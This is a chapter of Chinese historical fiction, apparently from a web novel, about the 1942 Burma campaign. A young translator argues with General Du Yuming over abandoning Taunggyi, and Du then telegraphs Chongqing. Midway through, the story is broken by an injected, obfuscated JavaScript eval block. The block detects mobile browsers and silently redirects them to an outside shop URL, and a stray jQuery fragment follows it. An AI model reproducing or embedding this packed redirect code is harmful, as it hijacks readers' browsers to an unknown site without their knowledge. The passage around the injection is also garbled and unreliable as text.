屋里，杜聿明正在一份文件上写写画画。
桌上堆得满满当当。文件压着地图，地图压着电报，最上面还摊着一张手绘的草图。草图上的铅笔线画到一半，铅笔本人横在旁边。林安在门口扫了一眼，职业病发作，先替这张桌子做了一次分类：能分清哪一份是文本哪一份是地图的，大概只有桌子的主人。
杜聿明抬起头。
“小林？”
“报告司令，这是罗参谋长让我来送的情报。”
“哦。”杜聿明点点头，“放那儿吧，我一会儿看。”
林安把东西放在桌角。东西放下了，人没走。
来的路上她预备了三套开场白。一套从眉苗的路况说起，一套先谢司令上回给的那张条子，还有一套最稳妥，先问司令今天忙不忙。她走进这间屋子的时候，三套已经背得滚瓜烂熟，可这会儿一套也想不起来了。
杜聿明看着她，有些疑惑，对她笑了一下。
“前几天你跑眉苗跑得辛苦。歇过来了吧？”
“歇过来了。”林安说，“不过我有问题想请教您。”
“哦？”
她吸了一口气。
“我不明白，为什么要放弃棠吉。”
三套开场白，最后她用的是第四套。
杜聿明的脸色没有任何变化。他把手里的笔搁下了，没有催她往下说。林安心里忽明忽暗，但那口气已经吸下去了，吸下去的气总要有个出口，于是话就自己往外走。
“一个月前，在同古，一样是作战意见不同。您能违抗史迪威长官的命令坚持撤退，甚至愿意因此闹翻脸，只为了保住二〇〇师。可现在，我们的主力全在这一带，二〇〇师、新二十二师、第六军、六十六军。如果能够为了保二〇〇师而顶撞史迪威长官，为什么不能为了保第五军而顶撞罗总司令？”
杜聿明没有接话。
“我一直在想，”林安接着说，“难道我们完全没有问题？难道完全是史迪威长官和罗总司令的错？”
杜聿明向后倚在椅背上，摸出一支烟点上。烟头在他手里忽明忽暗。他没有拦她，只是听着，像在听一份前方打来的电话。
“同古反攻的计划，无论如何不能说是史迪威长官一个人的责任。当时没有人料到缅甸的后勤这样不济。可是，没有料到后勤不济，本身就是我们的失败。我一开始就注意到五百辆卡车不够，可是我没有想到，这一件事能牵扯到整个战局。”
说到这儿她察觉到不对。她来这儿是要问司令，怎么说着说着把自己也审上了。这个话头要是不掐断，接下来就该是“职深感惭愧”，然后鞠躬退场。她赶紧把话往回掰。
“但这还不算最要紧的。战事不利，向后撤退，无可厚非。可是同古、斯瓦，没有给决战创造任何有利条件，迟滞日军是唯一的作用，到今天来说，迟滞的作用也消失了。我认为平满纳会战不应该放弃。”
她又深吸一口气。
“但平满纳会战的放弃，也不算特别失败。如果说反攻仰光是上策，平满纳决战是中策，那么退守腊戍就是下策。虽然任何战略目标都没有完成，劳师远征、徒耗粮草，但至少还保有有生力量，情况不至于比年初仰光刚失守的时候更差。”
她停了一下，然后说：
“但是现在放弃棠吉，是下下下策。”
第三个“下”出口的时候她自己也听出来多了一个。可话已经说出去了，收不回来，她只好让它多着。
“棠吉、腊戍空虚，日军必然来占，这将形成对曼德勒的包围，在曼德勒决战的条件也就完全丧失。尤其曼德勒地处平原，无险可守，最适合装甲车快速机动，可司令您又下令战车部队回国，可见您自己也并不看好曼德勒会战。”
杜聿明凝视着她，手里的烟落下一节烟灰。
林安没有注意看他。她说话的时候一直微微垂着眼睛，看着桌上那堆东西，一边想一边说。她这两年在会议桌上练出来的本事，就是眼睛看着纸，耳朵听着人，嘴里说着第三样东西，三样互不干扰。
“但是我想，史迪威长官、罗卓英总司令，总不至于是日本人派来的间谍，故意要把我们包围歼灭。”
杜聿明笑了一声。
“他们年纪那么大，又身经百战，也不至于不懂军事，故意来一个宋襄公之战。”林安说，“那么曼德勒一定有它的意义。”
她抬了一下眼睛。
“这还是从您的话里得到的灵感，‘我吃的是中国饭，不是英国饭’。”
“我想，从一开始，盟军进入缅甸的军事目标就不同。对于中国来说，缅甸意味着交通，最重要的城市是仰光，其次是通往仰光的咽喉同古，再之后是连接滇缅公路和同古的棠吉，最后是滇缅公路的起点腊戍。这在我们看来天经地义。”
“但是对于英国人来说，我不知道美国人是不是也这样想，缅甸是一个出产原油、粮食、橡胶的殖民地，而曼德勒是它的首府。假如要有一个最完美的目标，英国人一定想的是保卫缅甸平原，而不是缅东北丛林里的什么腊戍。”
“那么从这个角度看，坚守曼德勒，就有它的政治意义了。”
她越说越顺。她自己都能感觉到，那些在脑子里堆了半个月、堆得跟这张桌子一样乱的东西，正在一条一条自动排队，排得比清册还整齐。
“再说被包围的问题。在我，甚至在您看来，我们丧失后路就是被包围了。可是我想在史迪威和罗总司令眼里不是这样——”
说得太顺，她连“长官”两个字都忘了加。
“尤其从他们总是听信英国人情报来看，站在英国人的角度，缅甸跟印度连成一片。说句不好听的，放弃缅甸就像中国放弃东北，甚至放弃淞沪，虽然很沉痛，但还不至于伤筋动骨。只要往印度撤，也就没事了。本来英国人就在往印度跑。”
“那么这个曼德勒会战在整个战略中的位置也就很明确了。与其说是滇缅作战，不如说是保卫印度作战、保卫英国面子作战，完完全全一场面子战争。当然，这个计划的出发点可以用‘与日军决战’的名义掩藏起来，因为在与日军决战上面，中美英完全一致。”
她说到这里又绕回最开头。
“所以，假如我们真的不守棠吉，假如曼德勒会战不利，那我们做好了前往印度的准备了吗？我知道，腊戍不守之后，我们要以八莫、密支那做支点，可是腊戍距离八莫只有两百公里，曼德勒距离八莫却有五百公里。日本人不可能不在我们前面占领八莫。从曼德勒撤退到八莫，只是又一个同古反攻一类的幻梦。如果想退守八莫，就不能去曼德勒。”
她顿了顿。
“我知道，您从来都是奉命行事。即使在同古没有奉史迪威长官的命令，实际上也是奉了委员长的命令。可是这一次——”
她心里想的是：按委员长那个性子，怎么可能真愿意让中国军队去印度。这句话她没敢说全，只说了一半。
“委员长难道做好了武装保卫印度的准备吗？我实在不能理解，还想请您赐教。”
香烟已经燃到杜聿明的手指尽头，他竟然没有觉得烫。
林安站在那儿，胸口起伏。她已经说完了。按规矩，说完就该敬礼，然后退出去，把剩下的交给这间屋子的主人。可是有一句话还堵在嗓子眼里，堵得她喘不上气。
“我有一句话实在不吐不快，要杀要剐都要说出口。”
她抬起头。
“我知道，您头上有许多长官，史迪威长官、罗卓英长官、委员长、亚历山大，甚至林蔚长官。可是毕竟我们全部六万人，都归您管。甭管上面还有多少总司令，您也是一个总司令啊。”
“可是似乎所有长官，连带您在内，每个人都在互相博弈。史迪威要指挥权，英国人要保护印度，委员长要打通仰光、又要在英美挣面子。可是没有一个人愿意真的看看战局的本质，那就是日军正在大范围迂回包抄，而我们正主动走到这个圈套里去。”
“如果您是一个师长，那没什么可说的，师长不能不服从军长。可是您到底是总司令，难道您就没有一点责任吗？”
隔壁电报机的嗒嗒声钻进来，一下一下。林安听着，觉得它像在替她数数，数的大概是这一番话折合几个月的饷。
---
“你对曼德勒的理解，有不全面的地方。”
杜聿明的脸色并不算好看。
“不过我对曼德勒的理解，也有不全面的地方。”
他想要吸一口烟，才发现香烟早就熄了，手指头上只剩一截灰。他把烟头按进烟灰缸，按得很慢。
以前都是他训人，今天有人把这一套用到了他自己头上，用得还挺熟练。
林安这一番话，激起了他讨论的欲望。这些他甚至没跟罗又伦、廖耀湘、戴安澜他们讨论过，太逾越了，谁会说出“委员长是要挣面子”这种话呢。可是眼前这个人已经说出来了，说完还站在那儿等他回答，脸上没有一点“说错了请司令处分”的意思，只有“说完了请司令赐教”的意思。
他忍不住说：
“棠吉已经不再是关键。有一个情况你还不知道：罗衣考已经失守，第六军的电报傍晚才到。日军正在从东、南两个方向直冲腊戍，棠吉很快才是要落入包围圈的。棠吉和罗衣考是守备腊戍的两个支点，三足鼎立，而腊戍又完全空虚。如果说曼德勒的绳索还没有捆死，那么现在既然没有下决心主力向棠吉增援，棠吉才是真的已经把头伸进了圈套，只要踢一脚就吊死了。”
林安瞠目结舌。
上午图上那个问号，这会儿成了叉。她一路上怕的是司令说一句“这些我都知道”，结果司令说的是“有一个情况你不知道”。她来的时候想的是保棠吉，进门以后说的也是保棠吉，说了半天，人家告诉她棠吉已经是那口套里的脑袋了。
她脱口就问：“难道在委员长心里，曼德勒就比腊戍还要重要？保卫缅甸，就比保卫我们整个部队还要重要？”
“这都不重要了，一切都已经晚了。”杜聿明摇摇头，“但是你提到的一点，八莫问题，很关键。”
他脑子里一直在想委员长的那封电报：假如腊戍不守，以八莫为后备。同一天，委员长还有另一封电报：切实保卫曼德勒为要务。
难道委员长真的想让他们从曼德勒撤往八莫、密支那？怎么想，第一份电报的意思都是从腊戍前往密支那。最少最少，也应该在八莫放一个守备师，哪怕是守备团。可是“切实保卫曼德勒”，又应该怎么理解呢？
这两句他前后琢磨了三天，琢磨得夜里睡不着。他试着跟罗又伦说过一回，说到一半自己就停了，那话说出去不像样。一个副总司令拉着自己的参谋长猜校长的心思，猜对了没处说，猜错了更没处说。
他到底还是把这两句念了出来。
林安思索了两秒就得出了答案：
“委员长是既想要曼德勒的面子，又想要腊戍的里子。罗总司令拿着鸡毛当令箭，只去追求面子，最后面子里子都要完蛋。”
杜聿明忍不住笑出了声。
他笑，一半是因为这句话痛快。他不愿意亲自刻薄罗卓英，可是很愿意听别人刻薄罗卓英，最好还刻薄得有水平。另一半是因为这句话他琢磨了三天没琢磨出来，人家两秒钟就说出来了，而且说得比他心里那个模模糊糊的意思还准。三天对两秒，这个比分要是报给校长，校长大概也要笑。
他纠结犹豫了一会儿，像是下定了什么决心，站起来，拍了拍林安的肩膀。
“以后再有意见，及时给我说。”
这反应轻松得让林安心里发虚。她预备好的所有结局里，最好的一种是“我知道了，你回去吧”，最坏的一种她不敢往下想。“以后再有意见及时给我说”不在预备的清单上，她一时不知道该往哪一栏里放，只能先怀疑司令是不是打算先记账，秋后一起算。
这时候她才发现，她的后背已经全汗湿了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894694|212818||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她仍然有些不知所措，但知道这是送客的意思，便敬礼告辞。
---
杜聿明送她出门，回头对尹副官说：“叫译电员来。”
尹副官应了一声就跑。跑之前他看了一眼手表，又看了一眼林安的背影。送一份情报送了这么久，人出来的时候手里空着，脸上红着，司令跟在后头亲自送到门口。他在第五军当了三年副官，这个流程没见过。
译电员匆匆走进办公室：“司令！”
“起草电报，我念你记。”
“特急，重庆委员长亲启：职今已奉罗总司令卓英之命，放弃棠吉，全师正往曼德勒开进，准备曼德勒会战。棠吉不守，腊戍恐将陷于敌手。委员长昨日所示以八莫、密支那为后备之计划，恐将难以完成。因腊戍距八莫极近而曼德勒距八莫极远，如若曼德勒失守，部队调度不及，恐不能及时前往八莫、密支那，除退往印度外再无他路。请切实考虑是否仍然进行曼德勒会战之计划。职，杜聿明。”
译电员匆匆记录，眉头拧成了麻花。
“马上去发。”
译电员跑走了。
杜聿明不知道这封电报能不能打动他的校长。他往重庆去的电报，一个月里九封没有回音，这是第十封。隐隐约约的，他觉得有五成把握。
前九封他写得都规矩，报敌情，报部署，报困难，请示。这一封不一样，这一封把话说到了底：除退往印度外再无他路。这一句他从前不敢写，怕校长看了以为他在吓唬人。今天他敢写了，因为刚才有人在他办公室里把同样的意思说了一遍，说得比他还狠，说完人还站得好好的。
那句面子里子之说，真是妙。
他站起身来，看向窗外寂静的黑夜。
这是他第一回当总司令一级的官，副总司令，还兼着第五军军长，而军直属部队足有一个师。也就是说他是一个师长兼军长兼总司令。
从昆仑关以来，他就习惯了军长的思维方式。军长的活儿他熟：指挥所搬到前面去，掩蔽部里挂一张图，摆几部电话，前方报什么进来，他判断，他下决心，决心顺着电话线下去。那年陈辞修站在他面前限令他按期攻克昆仑关，他连声称是。军人以服从为天职，打仗不是讨价还价的事。这句话他信了半辈子，也照着做了半辈子。
可是眼下这一摊，前方是史迪威、亚历山大、罗卓英，再往上是校长，没有一根电话线能通到那张桌子上去。要他一夜之间从一个带兵的军长变成中美英三国演义里的纵横家，是难为他了。
难为归难为，今天有一个二十三岁的翻译站在他面前问：您到底是总司令，难道您就没有一点责任吗？
他低头看了一眼烟灰缸里那截烧到头的烟头。一支烟烧到手指头都没觉出烫，这在他也是头一回。
---
林安走出司令部的院子，走到大路上，站住了。
她站住不是因为想事情，是因为腿抖得走不动。
她扶着路边一棵树站了很久。夜里凉，风一吹，后背那一层汗贴在身上，冰得她打了个哆嗦。
这时候她才开始后怕。她刚才说了什么？她说委员长是要挣面子。她说罗总司令拿着鸡毛当令箭。她问一位中将副总司令“难道您就没有一点责任”。这些话里随便挑一句出来，都够她脱了这身军装。
她扶着树站着，把刚才的事从头过了一遍，过到第三遍，后怕退下去了。退下去以后上来的东西她自己都没料到：她高兴。
司令跟她说了那么多。罗衣考失守，两封电报，那句琢磨了三天没琢磨明白的话，他都摊给她看了，还说以后再有意见及时给我说。一位中将副总司令，跟一个二十三岁的文职翻译，在办公室里讨论委员长是要面子还是要里子。她脑子里嗡嗡的，像喝了半杯酒，站在那儿有点晕，晕得不敢信：真的假的？这到底是真的假的？
高兴了大概有两分钟。
两分钟以后她想起棠吉。棠吉还是没有兵，腊戍还是空着。六万人，三个月，从仰光一路退到这儿；她从去年四月在仰光问那两位师傅问起，一册路况，三千份印件，六个部门，一份清册，一张军票的纸，她跟张妙妙跟查良铮，一样一样兢兢业业地办，办到今天。这些都算什么呢？这到底是在干什么呀。
她扶着那棵树哭起来，哭得没有声音。风一吹，后背那层汗冰得她直哆嗦。哭到后来她拿袖子抹了一把脸，往作战室走。
---
作战室里还亮着灯。
她推门进去的时候，罗又伦抬头看了她一眼。
“送到了？”
“送到了。”
“怎么这么久。”
林安愣了一下。
“路上走得慢。”
从司令部到作战室，走路七八分钟。罗又伦看了一眼墙上的钟，她这一趟走了一个多钟头。七八分钟的路能走出一个多钟头，要么是爬回来的，要么是绕着腊戍城走了一圈。
罗又伦“哦”了一声，“你脸怎么这么红？”
“我走热了。”
罗又伦盯着她看了两秒。他什么也没问，低头去看他的东西了。
“早点睡。”他头也没抬地补了一句，“我看这几天，夜里要有事。”
---
四月二十七号凌晨一点，腊戍，驻滇参谋团。
值班的译电员敲林蔚的门，敲了三下。林蔚醒得很快，他这半个月睡得都浅，一有动静就醒。
电报从重庆来，特急。他披着衣服走到桌前，把灯拧亮。电文很短：
最急，林次长。如形势可能，则速调瓦城有力部队增援腊戍方面，保证腊戍防务。瓦城不守亦可，此时保守腊戍为第一，而瓦城之得失无甚关系也，希以此意切告史、罗，速决实行。宥亥机渝。
林蔚把这几行看了两遍。
瓦城不守亦可，保守腊戍为第一。
他把灯又往亮里拧了一格，冲着门外说：
“叫侯腾。”